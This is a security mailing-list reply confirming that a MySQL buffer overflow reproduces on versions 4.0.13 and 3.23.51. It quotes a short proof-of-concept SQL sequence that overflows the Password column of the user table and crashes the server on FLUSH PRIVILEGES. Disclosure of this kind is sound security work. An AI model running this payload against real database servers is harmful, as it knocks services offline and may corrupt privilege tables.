Re: Buffer overflow in MySQL

[Konstantin Tsolov <ktsolov () etel bg>]

managed to replicate on 4.0.13 (custom made) running on slack8.1 with
mysql.mysql.

3.23.51 (the distro mysql version) also proved vulnerable.

nb: just make sure you have a backup copy of your mysql db when testing this
harmless proof of concept on your production server :-)

> successful exploitation of that bug is trivial on some platforms. On most
> Linux systems the return address needs about 444 bytes to get overwritten.
>
>   Harmless proof of concept :
>   > USE mysql;
>   > ALTER TABLE User CHANGE COLUMN Password Password LONGTEXT;
>   > UPDATE User SET Password =
>
> '123456781234567812345678123456781234567812345678123456781234567812345678
>  123456781234567812345678123456781234567812345678123456781234567812345678
>  123456781234567812345678123456781234567812345678123456781234567812345678
>  12345678123456781234567812345678...' WHERE User = 'abcd';
>
>   > FLUSH PRIVILEGES;
>
>   [Connection lost]

-- 

"Talk is cheap because supply always exceeds demand."
                -- source unknown

+------------------------------------------------------+
| Konstantin Tsolov             ktsolov at etel dot bg |
| Systems Administrator - VoIP                         |
| eTel Ltd.                                www.etel.bg |
| Sofia, Bulgaria                                      |
+------------------------------------------------------+